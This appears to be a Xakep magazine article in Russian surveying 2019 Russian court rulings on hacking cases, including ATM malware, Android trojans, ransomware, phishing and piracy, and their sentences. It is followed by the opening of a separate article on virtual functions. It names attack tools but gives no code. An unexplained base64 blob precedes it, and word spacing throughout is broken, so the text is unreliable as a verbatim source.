H4sIAAAAAAACA41XXW/iOBR951d4kbYe1ak1D6hoiLpSM9VCMfF2s2wgPBA3DWFMDNsxaVV4mN++
tkPClxkNEsSOzz22z72+1wBg/eCrNBfM4e+rGY4bdsw6yPL5+wuS69Wy69EHbMU99zw6SFYcYS7f
loMu9ZdrK5AGj5JBlA4I9f9MGOT0b2kDsns68tumhYT/GasnnBJhg3I6GlzH7t0Mm26EYycGf1Eb
9DmgS/WIsXB0dzEFMQPed8eGndFBxxF39DPTvGLN6Oc/AE+IDTvuTd5+27XjTy9lI3/yrIsA8OuD
Fr/cZ/mqIG0yvuABmJW8V1v5EisrHDWAY4e+6/eseMZ3TQCcsNH+jsHt7xbgVJjHnV6HbGRw9R9P
MEBnXkj1K4zj57Z1vqKRo+DhFgxwKk/HvkFlf434U2IJvAw8p4+skS5Qdy5Bi/aPQNhJh+X8kPRf
zqxjLlErAToS2YuYAhyDIsfG7srtyKxZXLmVdptHkkgX17bpKwPi7ZucFLyUm/1Qg9N4CNhmncES
1ASrUuBy19cil46m4O0cx0vcJzxs1s7qq3l7II00V/PmZJ8xMw5uhsRpGbEBSRestiXm653s72Z9
hY8isa+8gDfr9nRvqfURgwX4+efTVwhwqzZ6MoqUCl/ICOqLFGu7snE0PCnR4gDH6qZT6EOn+lFl
0zKDvFRnD5zv5yzUINZ0eWUTmd+u/nlVsXtzujD1oslZ34xXNoNyKT/UclsYsBE7OTdsBMAXZPab
1GmLVjuIwO26XFG8Uxvvnu6wDJ95nW7ud0/NdR1lqAPrudj0uvOaLUKCyg0XSS13pPkWzdrTp1r3
2RiXZ1ts9md/uABh1cTnyU4AHBq34wU8SBgIVq2MnxkZJww02caekDYHMlfqmB1sVRKxxkn7MGIM
R6URshngsA4Xvt+oBfkR1c2sWzdzfg4thD2EiaVCkUsHpJ+cgZ3HS+Bt7ww8vHz2Hhu/vAodlqdo/
q9Nxl3YPZ3tsdLXFKu4rcoaiKfVYDA/gWPvMMf3qd9Lpvs36WmZld2jaImId3jUUngCF+vjIjJ0
D7vZCRr6I596KktzhPaZoA73s436IxqQgku97BGdmPOLUFGQgNLzO0fokVxuZ0imgUd9mkuEOFdg
4tHz4szCoCi4WoeUaUr1qnQnTSeTaHYeVJHBuho7UWxUd03HdkshetStiElFHEILloVW3sx2sES9
Bjra09qQUI+5/JgUWk+34XSPlmpPA1Br5R5RLuy3GE3CjxjFBSDqaJxHiWFUivGLjE5HMwLFmCBH
LcMKdNSlVG/bD1XsUC9RN1Q7UHDH/UgDX5+Nse/lWn/rbRerqbde4JOx6vT+8b1EKWm9Q3LBEV91
PaIL15gky4vekTuBAhXQTpfsXI4vuhzJbZ6qdu1yq0p1MCtWr7fzeWZ1+i7wP1JVSEiQlKxtK1Ly
jibVpQvSRNtJuzdhpEIeSc/UpmqlVu29QlOWxRCa2S84yURxb5d+SPKTQAqVnNmu3VRzyyd7eEwE
r4sZiy5ODCZusk/gRe5KcfHs7HFjHQA23Fopw4u6e59zGdm8PVNqF3ld6tws4yi1/LXKdFTMRLZP
OMlWcmlJWz0iiiylcF96PCIy76C2JXA+09d5qiJbeO3D3EtJImz/wlLPp1+O5VcZ1m83wC99IGv8
D3P9NCyjDgAA

ВЗЛОМ

ТАКИЕ
ДЕЛА

КАК И ЗА ЧТО СУДИЛИ
РОССИЙСКИХ ХАКЕРОВ

В 2019 ГОДУ

Виталий Евсиков
[email protected]

Но вос ти  о  задер жани ях  киберп  рес тупник  ов  на  терр  итории
Росс  ии  появ ляютс  я  в  СМИ  с  завидн  ой  регулярн  остью.
Заголов ки громк  ие, но из них нель зя понять, в чем кон кретн  о
обвин  яютс  я задерж  анные и какие они соверш  или прес тупле‐ 
ния.  Эта  статья  расс  ка жет  тебе  о  том,  как  в  нашей  стра не
судят киберз  лод  еев и нас коль ко стро га к ним наша судеб ная
сист  ема.

Как извес тно, в Росс  ии глав ными борц  ами с кибер прест  упностью выст  упаю  т
спе циализ  иро ван ные  под разде ления  ФСБ  и  МВД.  По  их  матери алам  воз‐ 
бужда ют  уго ловн  ые  дела,  которые  впосл  едст  вии  передаю  т  в  суд,  где
выносит ся судеб ное решение. Что бы оце нить эффективн  ость борь бы с прес‐ 
тупле ниями в сфер  е компью  тер ных тех нологий, я про ана лизи ровал судебн  ые
решения  за  2019  год  по  хакерс  ким  статья  м  Угол  ов ного  кодек са  на  осно ве
открыт  ых  дан ных.  Эти  свед  ения  раз меща ются  в  сети  в  соот ветс твии  с  ФЗ
от 22.12.2008 № 262‐ФЗ «Об обесп  ечении дост  упа к информа ции о деятель‐ 
ност  и судов в Росс  ий ской Федерац  ии». В некото рых слу чаях тек сты судебн  ых
актов отсутст  во вали (без объ яснен  ия прич  ин) — их я в иссле дова нии не рас‐ 
смат ривал.

АТАКИ НА ГОСУДАРСТВЕННЫЕ ОБЪЕКТЫ ИНФОРМАЦИОННОЙ
ИНФРАСТРУКТУРЫ РФ
Но вос ти об этих прес туплен  иях ты мог видеть в СМИ под заголов ком «Осуж‐ 
ден  хакер,  который  пытал ся  взлом  ать  сайт  Прав  итель ства,  Адми нис трац  ии,
Минист  ерст  ва…».  Громк  ий  заголов  ок,  сло ва  «хакер»  и  «взло мал»  созд  ают
у  рядово го  читател  я  впе чат ление,  будт  о  задер жан  матерый  прест  упник.
Но так быва ет далеко не всегд  а.

Схе ма  соверш  ения  прест  уплен  ия  такова:  злоу  мышл  енник  устан  ав лива ет
на свой компь ютер хакер ский софт и лома ет с его помощью удал  енн  ые сер‐ 
веры,  сред  и  которых  обна ружи вает ся  прин  адл  ежащий  государст  венн  ому
орга ну  ресурс.  В  подобн  ых  делах  отме чают ся  три  типа  компь ютерн  ых  атак:
SQL  injection,  Bruteforce  и  DDoS.  Согл  асно  судеб ным  решени ям,  при  совер‐ 
шении  компь ютерн  ых  атак  кибер прест  упни ки  использ  уют  сле дующие  прог‐ 
раммы,  призн  анные  вред  оносн  ыми:  ScanSSH,  Intercepter‐NG,  NLBrute  1.2,
RDP Brute, Ultra RDP2, sqlmap, Netsparker, SQLi Dumper.

При этом во мно гих тек стах судебн  ых решений указ  ано, что компью  терн  ые
атак  и  совер шались  с  реальн  ых  IP‐адрес  ов.  То  есть  прав  оох ранительн  ые
орган  ы  лег ко  вычис ляют  зло деев  и  доказыв  ают  их  при час тность  к  прот  ивоп‐ 
равной деятельн  ос ти.

Ре зуль таты рас смот рения уго ловн  ых дел об атак  ах на государст  вен ные
объ екты информа цион ной инфраструк туры РФ

• Реа  ль ный срок — лишение своб  оды на опре деленн  ый срок.
• Дру гие виды наказа ния — все, что не вле чет реаль ного лишения сво боды.
• Уго лов ное  дело  прек ращено  —  в  связ  и  с  при мире нием  стор  он,  наз‐ 

начени ем  судеб ного  штра фа  или  деятельн  ым  раск  аянием.  Принц  ипи аль‐ 
ное отлич  ие от дру гих видов наказа ний — лицо не счит  ает ся судимым.

Так  ие  компь ютерн  ые  ата ки  редк  о  при водят  к  реаль ному  взлом  у  сис темы,
и  чаще  все го  их  соверш  ают  «начинаю  щие  хакеры».  Этим  объ ясняю  тся  отно‐ 
сительн  о  «мяг кие»  при гово ры  судов:  из  27  случ  аев  тольк  о  в  трех  назн  ачены
реаль ные  сро ки  —  в  отно шении  рециди вист  ов,  ранее  осужд  енных  по  раз‐ 
личным статья  м Уго ловн  ого кодек са. В трин  ад цати слу чаях подс  удимые под‐ 
вер глись  иным  видам  наказан  ия,  не  свя занн  ым  с  лишение  м  своб  оды.
В десяти случ  аях уго лов ное дело прек ращено.

Весь ма  любопыт  ен  кейс,  ког да  перед  судом  предс  тал  уже  отбыв  ающий
наказан  ие  в  исправ  ительн  ой  колонии  граж данин.  Сот рудни ки  испра витель‐ 
ного  учрежде ния  пре дос тавили  ему  дост  уп  к  компь юте ру  в  отдел  е  безопас‐ 
ности  для  оформ  лен  ия  справ  очн  ых  и  докумен тальн  ых  материа  лов,  а  так же
соз дания  3D‐модели  колонии.  Подс  удимый  обнар  ужил  в  сети  кар тотеку  зак‐ 
лючен ных  и  ско пиро вал  ее  для  даль нейше го  изу чения.  Затем  с  помощью
прог раммы IPScan, полученн  ой от инжен  ера групп  ы автом  ати зации, он нашел
в  локаль ной  сети  proxy‐серв  ер.  Подк  лю чив шись  к  нему,  злод  ей  скач  ал
из  интернет  а  вре доносн  ое  ПО  Intercepter‐NG  и  NLBrute  1.2,  с  помощью
которых  попытал ся  взло мать  еще  один  компь ютер.  Все  это  зву чит  забав но,
но  такой  уро вень  информа ционн  ой  безопас ности  в  отде ле  без  опас ности
испра вительн  ой колонии все‐таки удивл  яет.

ХИЩЕНИЕ ДЕНЕГ
В  XXI  веке  день ги  хра нят  не  тольк  о  в  сбер  ега тель ной  касс  е,  но  и  на  сче тах
элект  ронн  ых плат  еж ных сист  ем. Счит  ает ся, что связ  анн  ые с хищени ем денег
киберп  рес туплен  ия  несут  высокую  сте пень  общест  венн  ой  опасн  ости,  из‐за
чего наказан  ие по ним более строг  ое.

Рез  уль таты расс  мот рения уго ловн  ых дел о компью  терн  ых ата ках, нап‐ 
равлен ных на хищение денеж ных средств

Взлом банкоматов
В 2019 году было вынесе но три судеб ных решения по этом  у виду прест  упле‐ 
ний.  О  перв  ом  из  них  ты  навер няка  слы шал  благ  ода ря  гром ким  заголов кам
СМИ:  «В  Росс  ии  вынесл  и  при говор  хакерам  из  межд  ународн  ой  прес тупной
груп пировк  и  Cobalt».  Под  таким  наз вание  м  извес тный  новос тной  сайт  опуб‐ 
ликовал  статью  об  осуж дении  двух  «мулов»,  при час тных  к  похищен  ию
в 2017 году 21,7 мил лиона руб лей у якут ско го банк  а «Алмаз  эр гиэн банк».

Дел  о  было  так.  Пред ста вител  и  хакер ской  груп пиров ки  Cobalt  взло мали
рабочий компь ютер сот рудни ка банк  а с помощью расс  ылки фейк  овых писем
яко бы от служб  ы под дер жки Microsoft. Зак репив шись в сети, хакеры повысил  и
свои  прив  иле гии  до  уров ня  админ  ист  ра тора  домена,  под клю чились  к  бан‐ 
коматам  по  RDP  и  с  помощью  вред  онос ного  ПО  отправ ляли  команд  ы
на  выдачу  банк  нот.  Сбо ром  денежн  ых  средств  как  раз  и  занима лись  пред‐ 
став шие перед судом два бра та. За работу они получил  и 10% от похищен ной
сумм  ы.

Суд наз начил им наказа ние в виде шес ти с полови ной и пяти с половин  ой
лет лишения сво боды. Прим  еча тель но, что похищенн  ые день ги они уже успе‐ 
ли передать орга низа торам, оста вив себе два милл  иона рубл  ей. Эти деньг  и
они  напр  авили  на  погашен  ие  при чиненн  ого  бан ку  матери альн  ого  ущер ба.
Оставшая  ся  часть  иска  так же  была  погашен  а,  в  том  числ  е  за  счет  квар тиры
одно го из брать ев.

Во  вто ром  слу чае  перед  судом  пред стал  а  груп па  из  четырех  человек.
Прес тупни ки  вскры вали  бан коматы  и  подк  лю чались  к  USB‐порт  ам,  а  потом
с помощью вред  оно са Cutlet Maker запус кали выдачу банк  нот. При этом уда‐ 
ленн  о  актив  иро вал  прогр  амму  неуст  анов ленный  учас тник  груп пы,  который
за свои «услу ги» получал 30% от похищенн  ой сум мы.

Прест  упник  и  соверш  или  неск  ольк  о  попыток  взлом  а  бан коматов,
но успешной ока залась тольк  о одна. Похищен  а сумм  а от 250 тысяч до 1 мил‐ 
лиона руб лей. Зло деи были задерж  аны при оче ред ной попыт ке вскрыт  ия бан‐ 
комата.  Суд  назн  ачил  им  наказа ние  от  года  и  семи  месяцев  до  четырех  лет
лишения сво боды.

Тре тий случ  ай анал  огич  ен вто рому. Тот же Cutlet Maker, те же 30% за уда‐ 
лен ную  актив  ацию.  Прест  упник  дейс  тво вал  в  оди ночк  у.  Из  банк  омата  ПАО
«МИнБ  анк»  он  выг рузил  око ло  четырех  мил лионов  рубл  ей  и  был  пой ман
при вто рой попыт ке взло ма бан комата. Суд не при нял доводы защиты о слож‐ 
ном  финан совом  положен  ии  подс  удимог  о  и  назн  ачил  наказан  ие  в  виде
четырех лет лишения сво боды.

Все  эти  случ  аи  объе  дин  яет  одно:  перед  судом  пред стал  и  низ коква лифи‐ 
циро ван ные участ  ни ки прес тупных групп, и к ним боль ше под ходит опред  еле‐ 
ние  «воры»,  чем  «хакеры».  «Мозг  овые  цент  ры»  и  нас тоящие  орга низа торы
оказ  ались вне досягае  мост  и пра воохр  аните лей.

Трояны для Android
В этом разд  еле осо бого вни мания засл  уживаю  т два эпиз  ода. В одном из них
к  реаль ному  сро ку  при говор  ен  злоу  мышл  енник,  который  соверш  ил  прес‐ 
туплен  ие,  уже  находясь  в  испра витель ной  колонии.  При  помощи  смарт  фон  а
он  ском пилиро вал  и  рас простран  ил  Android‐тро ян,  который  уста нав ливалс  я
на мобиль ные устрой ства гражд  ан Рос сии. Пос ле чего злод  ей перевел день‐ 
ги  с  их  банк  овс  ких  карт  через  сист  ему  дист  анцио  нно го  бан ков ско го  обслу‐ 
жива ния.  Оста ется  толь ко  догадыв  атьс  я,  каким  обра зом  он  получил  смар‐ 
тфон, уже отбы вая наказа ние, а такж  е как он при обрел необх  одимые навыки
и знан  ия — ведь на момент соверш  ения прес туплен  ия он находилс  я в мес тах
лишения сво боды уже боль ше десяти лет.

Эпи зод  с  задер жание  м  в  Чуваш ской  рес публи ке  участ  ник  а  хакерс  кой
груп пы  TipTop  так же  получил  широкую  огласку  в  рос сий ских  СМИ.  Нес коль ко
лет  зло умыш ленни ки  рас простра няли  бан ковс  кие  троя  ны  Hqwar,  Honli,
Asacub.g, Cron и CatsElite под видом раз личных прил  оже ний и уста нав ливали
их  на  Android‐смар тфо ны  польз  овател  ей.  С  помощью  вред  онос ного  ПО  они
перех ватыва ли  информа цию,  похищал  и  данн  ые  бан ков ских  карт  и  ворова ли
день ги  у  граж дан.  И  вновь  перед  судом  предс  тал  рядовой  участ  ник  групп  ы,
выпол нявший роль заливщ  ика. По совокупн  ости прест  уплен  ий ему назн  ачено
наказа ние в виде двух лет лишения своб  оды условно.

В остальн  ых же слу чаях под кара ющую длань прав  осу дия такж  е попадал  и
исклю чительн  о  низ коквал  ифиц  иро ванн  ые  участ  ник  и  прес тупных  групп  —
заливщ  ики  и  дро пово ды,  которые  наш ли  пред ложение  о  нелегальн  ом
заработ ке на теневых форумах и отклик нулись на него.

Фишинг
С  помощью  фишин говых  сообщ  ений  некий  кибер зло дей  зав ладел  учет ками
от  почт  овых  ящи ков  авто магаз  инов.  Посл  е  это го  он  выст  авлял  клие  нтам
магази нов счет  а с под дельн  ыми банк  овс  ким  и рек визитам  и. На суде рас смат‐ 
ривалось  80  эпи зодов,  всег  о  под судимый  похитил  око ло  3,5  мил лиона  руб‐ 
лей.  При мечат  ель но,  что  фишин говые  стран  ицы,  ими тиру ющие  окно  авто‐ 
ризац  ии  в  поч товых  сер висах,  эксперт  приз нал  вред  онос ным  прог рамм  ным
обесп  ечени ем.  Зло умышл  енни ку  назн  ачено  наказан  ие  в  виде  четырех
с полови ной лет лишения сво боды.

В  друг  ом  случ  ае  хищения  денег  с  помощью  фишин га  дело  огра ничи лось
условным наказа нием. Прест  упник под делывал стран  ицы вход  а в банк  овс  кое
при ложен  ие,  бла годар  я  чему  завл  адел  дан ными  авто ризац  ии  кли ента
и перевел 14 800 рубл  ей на находящ  ий ся под его кон тро лем лицевой счет.

На казан  ие,  не  связ  анн  ое  с  реаль ным  лишение  м  своб  оды,  так же  получил
житель  Вороне жа.  Он  предл  агал  услу ги  взло ма  элект  рон ной  почт  ы  и  акка‐ 
унтов  в  соци аль ных  сетях  за  скром ное  возн  агражд  ение  в  2–5  тысяч  рубл  ей.
Данн  ые  учет ных  записей  он  похищал,  расс  ылая  фишинг  овые  сообщ  ения
от име ни адми нис трац  ии серв  исов. Занимал ся он этим два года, пока не был
пойм  ан сот рудни ками пра воох ранитель ных орган  ов.

Вещевой кардинг
Подс  удимый  взла мывал  акка унты  поль зовате лей  магазин  ов  amazon.com,
pharmacy.kmart.com,  pccomponentes.com  и  некотор  ых  друг  их  и  покупал
товары. Вещи он переп родавал на хакер ских форумах wwh‐club.net и exploit.in
за  60–70  %  от  номиналь ной  стои  мос ти.  Работал  через  вир туаль ный  сер вер,
при обре тенн  ый  у  зарегис три рованн  ого  в  Рос сии  хос тинг‐про вайд  ера.  Зло‐ 
дею было назн  ачено наказан  ие в виде огра ничен  ия сво боды.

Ransomware
IT‐спец  иалист  ам на практ  ике час то прих  одит ся встре чатьс  я с пос ледс тви ями
это го вида прес туплен  ий. Тем не менее судеб ных решений за 2019 год нас‐ 
читыва ется все го три.

В  перв  ом  случ  ае  зло умышл  енник  брут форсил  сер веры  росс  ийс  ких  ком‐ 
паний и шиф ровал базы 1С на взлом  анн  ых сис темах. За прог рамму‐дешиф‐ 
ратор  треб  овал  перечис лить  3000  руб лей  на  номер  мобиль ного  телефо на.
Назн  ачено наказа ние в виде условно го сро ка.

Во  вто ром  случ  ае  рас смат ривалось  дело  о  шиф ровании  1835  компью  те‐ 
ров (все зарубежн  ые). Для взлом  а и получен  ия уче ток исполь зовались прог‐ 
раммы  RDP  Brute  и  mimicatz.  С  целью  анон  имиз  ации  злоу  мышл  енник  арен‐ 
довал  зарубеж ные  сер веры,  вре доносн  ое  ПО  хра нил  в  крипт  оконт  ейн  ерах.
Выходил в интернет с помощью USB‐модема «Мегафон», исполь зуя при этом
разл  ичные SIM‐карт  ы (менял их неск  оль ко раз в месяц). Компью  тер  ы, находя‐ 
щиеся  в  Рос сии,  не  взлам  ывал  из  свои  х  «моральн  ых  убежд  ений».  Получив
тре буемую  сумм  у  в  бит койн  ах,  прес тупник  отправл  ял  клю чи  пос трад  авш  им.
Все го, по дан ным суда, он заработ  ал 3 936 091 рубль.

Несм  отря  на  все  пред прин  ятые  меры  кон спир  ации,  прест  упник  был
задерж  ан  прав  оох ранительн  ыми  орга нами.  Ему  наз начено  условное  наказа‐ 
ние в виде семи месяцев лишения своб  оды с испы татель ным срок  ом в один
год и штраф в 100 тысяч руб лей. Граж данс  ких исков по делу не заявл  ено.

В  ито ге  кибер прест  упник  остался  на  своб  оде,  от  похищен ных  денеж ных
средств  у  него  сох ранилось  поч ти  четыре  милл  иона  руб лей,  государст  во
получи ло  в  виде  штраф  а  100  тысяч.  Окаж  ись  он  в  США,  его  наверн  яка  жда‐ 
ло  бы  более  суровое  наказа ние,  подк  репл  енное  более  зна читель ным  штра‐ 
фом.  Плюс  ко  всем  у,  отправ  ив шись  за  гран  ицу,  он  может  расс  чи тывать
на  один  из  принц  ипов  меж дународ ного  прав  а  —  Non  bis  in  idem  («Человек
не  несет  ответст  венн  ость  за  одну  про вин ность  боль ше  одно го  раза»).  Нас‐ 
тоящий happy end для хакера!

Еще один случ  ай шиф рования фай лов и тре бова ния выкупа при меча телен
тем,  что  прест  упник  и  были  осуж дены  по  отно сительн  о  новой  статье  Угол  ов‐ 
ного  кодек са  274.1  —  «Непр  авомер ное  возд  ей ствие  на  крит  ичес кую
информац  ионн  ую  инфраструкт  уру  РФ».  Зашифр  ован ными  ока зались  сер‐ 
веры  ком пании  АО  «Вост  очная  верфь»,  которые  счит  ают ся  объ ектом  кри‐ 
тическ  ой информац  ионн  ой инфраструк туры. Не самая удач ная цель для ата ки
с точ ки зре ния потенц  иаль ного наказан  ия. Прес тупни ки получи ли по два года
лишения сво боды условно.

Bughunter
Неу  дачн  ый  слу чай  багх  антин га  про изош  ел  в  городе  Балаков  о  Саратов ской
области.  Мест  ный  хакер  взла мывал  учет ные  записи  интернет‐магази нов
и  онлайн‐сер висов  с  помощью  Private  Keeper.  Он  угро жал  расп  ростра нить
полученн  ые  дан ные  и  треб  овал  от  влад  ельц  ев  серв  исов  денежн  ое  воз‐ 
награж дение  за  информа цию  о  якоб  ы  име ющейс  я  уяз вимос ти.  Треб  уемая
сум ма доходил  а до 250 тысяч рубл  ей. Деньг  и он прос  ил перево дить на QIWI‐
кошелек и банк  овс  кую кар ту, зарегис трир  ован ные на его мать. Сре ди пост  ра‐ 
дав ших  нашл  ись  те,  кто  согл  асил ся  выпл  атить  треб  уемую  сум му.  Увер  ен,  ты
и  сам  догадал ся,  что  посл  е  вып латы  денежн  ых  средств  потер певшие
не получал  и никако го отчет  а о выявл  енных багах.

Такж  е  зло дей  перевел  себе  бонусы  со  взло манн  ых  личн  ых  кабине тов
польз  овател  ей сайт  а оплат  ы комм  уналь ных услуг на сум му 2100 рубл  ей. Судя
по  все му,  он  не  при дер живал ся  высоких  мораль ных  принц  ипов  и  готов  был
красть  отовс  юду.  Учит  ывая  молодой  воз раст  и  сост  ояние  здор  овья,  злод  ею
назн  ачили  наказа ние  в  виде  трех  лет  и  трех  месяцев  лишения  сво боды
условно.

Здесь в оче ред ной раз мы видим при мер, когд  а кибер прес тупни ком ста‐ 
новит ся  поль зователь,  не  обла дающий  глуб  оким  и  хакер ски ми  поз нания  ми,
но зато имею  щий компью  тер и выход в интернет.

УСЛУГИ
Распространение вредоносов
Ты  наверн  яка  видел  на  хакер ских  форумах  и  в  Telegram‐каналах  объя  вле ния
о про даже вред  онос ного соф та. Опыт ные про дав цы и раз работ чики мал вари
использ  уют  разл  ичные  спос  обы  анон  имиз  ации  или  работа ют  через  пос‐ 
редник  ов,  что  позв  оляе  т  им  избеж  ать  уго лов ной  ответст  вен ности.
Перед судом предс  таю  т, как прав  ило, начинаю  щие хакеры. Ущерб от их дей‐ 
ствий незн  ачительн  ый, поэто му и наказа ние не строг  ое.

Рез  ульт  аты расс  мот рения уго лов ных дел о расп  ростра нении малв  ари

Сре ди  рас смот ренных  в  прош лом  году  судеб ных  дел  в  пяти  слу чаях
с  помощью  месс  енд  же ра  Telegram  рас простран  ялись  скрыт  ые  майн  еры,
акти ватор  ПО  и  прогр  аммы  для  брут форса.  Еще  в  одном  слу чае  зло умыш‐ 
ленник  созд  авал  RAT  и  прод  авал  с  его  помощью  Skype  за  1600  руб лей.
Во  всех  случ  аях  назн  ачено  наказа ние,  не  связ  ан ное  с  реальн  ым  лишени ем
сво боды.

А  вот  адми нист  ра тору  Telegram‐канала  «Dark  Side  /  Ману алы  /  Схе мы»
повезл  о  не  так  сильн  о.  На  момент  соверш  ения  прест  уплен  ия  он  имел
условное  наказан  ие  по  статье  159.1  УК  РФ  («Мошенн  ичес тво  в  сфер  е  кре‐ 
дито вания»)  с  не  истекшим  испыт  атель ным  сро ком.  В  свое  м  канале  админ
рас простран  ял  прогр  аммы  AntiCaptcha  Brute  and  Checker,  BigStockPhotos,
eBay  Checker  и  PayPal  Brute  &  Checker,  за  что  и  был  задер жан  сот рудни ками
полиции.  С  уче том  неот бытой  част  и  наказа ния  ему  назн  ачили  три  года
лишения сво боды.

Стилеры
Зло умышл  енник  с  помощью  сти лера  незакон но  ско пиров  ал
не  менее  42  371  архи ва  с  паролям  и,  данн  ыми  кред  ит ных  карт,  аккау  нтов
Steam. Он план  иро вал про дать информац  ию не менее чем за 4 563 000 руб‐ 
лей,  но  не  успел.  Суд  наз начил  ему  условное  наказан  ие  в  виде  двух  лет
лишения сво боды.

Во вто ром слу чае житель Челябин ска разм  ещал на YouTube видео о про‐ 
хож дении  компь ютер ных  игр  и  раз мещал  тут  же  под  видом  пат ча  ссылк  у
на скач  иван  ие сти лера. Прес тупник похитил учет ные дан ные от интернет‐сер‐ 
висов  неск  ольк  их  поль зовател  ей.  Он  получил  наказа ние  в  виде  огран  ичен  ия
сво боды.

Веб-шеллы
Один  из  осуж денных  про давал  веб‐шел лы  и  софт  для  брут форса.  Пой ман
на про даже вред  оно са сот рудник  у ФСБ, выпол нявшем  у про вероч ную закуп ку.
Незадачл  ивому тор говцу назн  ачено наказан  ие в виде огран  иче ния сво боды.

Продажа учетных данных
Прест  упник  и брут форси ли аккау  нты от популярн  ых интернет‐серв  исов и про‐ 
верял  и их валидн  ость, а потом про дава ли. В двух слу чаях назн  ачено наказа‐ 
ние  в  виде  огран  ичен  ия  своб  оды,  в  одном  слу чае  уго ловн  ое  дело  прек‐ 
ращено и наз начен штраф 10 тысяч руб лей.

НАРУШЕНИЕ АВТОРСКИХ ПРАВ
Это  наибо лее  популяр ная  статья,  по  которой  прав  оох ранительн  ые  орга ны
привл  екаю  т  к  ответс твенн  ости  айтиш ников.  Винов ность  обвин  яемо го  лег ко
доказу ема, в больш  инст  ве эпи зодов сбор доказат  ель ств огран  ичив  алс  я про‐ 
вероч ной закупк  ой.

Ре зульт  аты рас смот рения угол  овн  ых дел о наруше нии авторс  ких прав

Нейтрализация средств защиты лицензионного ПО
Схем  а сбо ра доказат  ельн  ой базы такова: пров  одит ся про верочн  ая закупк  а —
у  зло умыш ленни ка  заказыв  ают  уста нов ку  дорогос тояще го  ПО.  Чаще  все го
«закупа ли»  «Ком пас‐3D»,  ArchiCAD,  Autodesk  AutoCAD,  Microsoft  Office,  Mi‐
crosoft Windows, «ПрофСт  рой». За устан  овк  у нелиценз  ион ного ПО злоу  мыш‐ 
ленни ки получал  и возн  аграж дение от 700 до 5000 руб лей.

Ра дует то, что в половин  е случ  аев подс  удимые осво божд  ались от угол  ов‐ 
ного  наказан  ия,  которое  заменял  ось  судебн  ым  штраф  ом.  Но  при менить  эту
про цесс  уаль ную нор му не всегд  а можн  о — в некотор  ых случ  аях опе ратив ники
«закупал  и» ПО, общая стои  мость которог  о прев  ышал  а мил лион руб лей (осо‐ 
бо круп ный ущерб), поэто му под судимым наз началось более строг  ое наказа‐ 
ние, вплоть до лишения своб  оды условно.

Игровые приставки и онлайн-игры
В  ряде  случ  аев  подс  удимые  ней трал  изо вали  сист  ему  защиты  игро вых  прис‐ 
тавок  Sony  PlayStation,  чтоб  ы  потом  их  про дать.  Одном  у  нарушит  елю  наз‐ 
начено  наказа ние  в  виде  огран  иче ния  сво боды,  втор  ой  получил  условный
срок в один год. В случ  ае с компь ютерн  ой игрой под судимый бло киро вал тех‐ 
ничес кие средст  ва защиты R2 Online. Угол  ов ное дело было прек ращено, наз‐ 
начен штраф в раз мере 100 тысяч рубл  ей.

МАЙНИНГ
Два  сот рудник  а  государс твен ного  пред прия  тия  «Рос сий ский  федеральн  ый
ядер ный центр — Все росс  ийс  кий научн  о‐иссле доват  ель ский инстит  ут экспе‐ 
римент  альн  ой  физики»  решили  исполь зовать  компью  тер  ы  орган  иза ции
для  май нинг  а  крипт  овалю ты.  Они  стар  ались  скрыть  свою  деятель ность,
но  тем  не  менее  были  пой маны.  Ущерб  предп  ри ятию  оце нили
в  1  087  448  руб лей.  Один  из  май неров  получил  три  года  и  три  месяца
лишения  сво боды  со  штра фом  в  200  тысяч  рубл  ей,  втор  ой  —  четыре  года
условно со штраф  ом в 250 тысяч руб лей.

ВЫВОДЫ
Росс  ийс  кая  судеб ная  сис тема  отлич  ает ся  мягк  остью  и  снис хожде нием
к  кибер прес тупник  ам.  Реаль ные  сро ки  получаю  т  те,  кто  прич  аст  ен  к  совер‐ 
шению  общес твенн  о  опасн  ых  прест  упле ний,  свя зан ных  с  хищение  м  денег,
или  рецидив  ис ты.  Доволь но  час то  угол  ов ное  дело  прек раща ют  и  назн  ача ют
судеб ный штраф. Это спа сает начинаю  щих хакеров от пожиз ненног  о клей ма
в виде судимос ти и пос леду ющих проб лем с труд  оуст  рой ством.

Что  касае  тся  поимк  и  серь езных  киберп  рес тупник  ов,  то  чаще  все го
перед  судом  пред ста ют  мулы,  дроп  ово ды  и  обналь щики,  а  реаль ные  орга‐ 
низа торы избег  ают наказа ния. Успешным при мером ликв  идации деятельн  ос‐ 
ти  хакерс  кой  групп  иров ки  мож но  счит  ать  раз ве  что  задерж  ание  учас тник  ов
групп  ы Lurk, судеб ный про цесс над которы ми еще про дол жает ся.

Нер  ед ко  к  уго ловн  ой  ответс твен ности  прив лека ют  IT‐спец  иалис тов
за устан  овк  у нелицен зион ного ПО. Учит  ывая низк  ую степ  ень опасн  ости прес‐ 
туплен  ия, справ  едл  ивее было бы прек ращать угол  ов ное дело с наз начение  м
штраф  а.

Инс трум  ен тарий  для  взлом  а  и  конс тру иро вания  вред  оно сов  ста новит ся
все  дост  упнее,  так  что  нас  наверн  яка  ждет  еще  больш  е  гром ких  заголов ков
в  СМИ  о  поимк  е  и  разобл  ачении  крут  ых  гроз ных  хакеров,  которым  и  в  боль‐ 
шинст  ве  слу чаев  ока зываю  тся  далекие  от  IT  рядовые  исполнит  ели
и скрипт‐кидд  и.

ВЗЛОМ

ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ

ХАКЕРСТВА

КАКИЕ БЫВАЮТ Крис Касперски
ВИРТУАЛЬНЫЕ Известный российский
ФУНКЦИИ хакер. Легенда ][, ex‐
И КАК ИХ ИСКАТЬ редактор ВЗЛОМа. Также
известен под псевдонимами
мыщъх, nezumi (яп. 鼠,
мышь), n2k, elraton, souriz,
tikus, muss, farah, jardon,

KPNC.
Юрий Язев
Широко известен под
псевдонимом yurembo.
Программист, разработчик
видеоигр, независимый
исследователь. Старый автор
журнала «Хакер».
[email protected]

В  сво ем  бест  сел лере  «Фунд  амен таль ные  осно вы  хакерс‐ 
тва»,  уви девш  ем  свет  более  15  лет  назад,  Крис  Касп  ер ски
поделил ся  с  читате лями  сек ретами  дизас семб  ли рован  ия
и  иссле дован  ия  прог рамм.  Мы  про дол жаем  публ  иковать
отрывки  из  обновленн  ого  изда ния  его  кни ги.  Сегодн  я  мы
поговор  им о вир туальн  ых функ  ци ях, их осо бенн  остях и о хит‐ 
ростях, которые помогут отыс кать их в коде.

Чит  ай такж  е:
• Про верк  а аутен тичност  и и базовый взлом защиты
• Зна комст  во с отладчик  ом
• Про дол жаем осва ивать отладчик
• Но вые спо собы находить защит ные механизм  ы в чужих прогр  аммах
• Вы бира ем лучш  ий редак тор для вскры тия исполня емых файл  ов Windows
• Мас тер‐класс по анал  изу исполняе  мых фай лов в IDA Pro
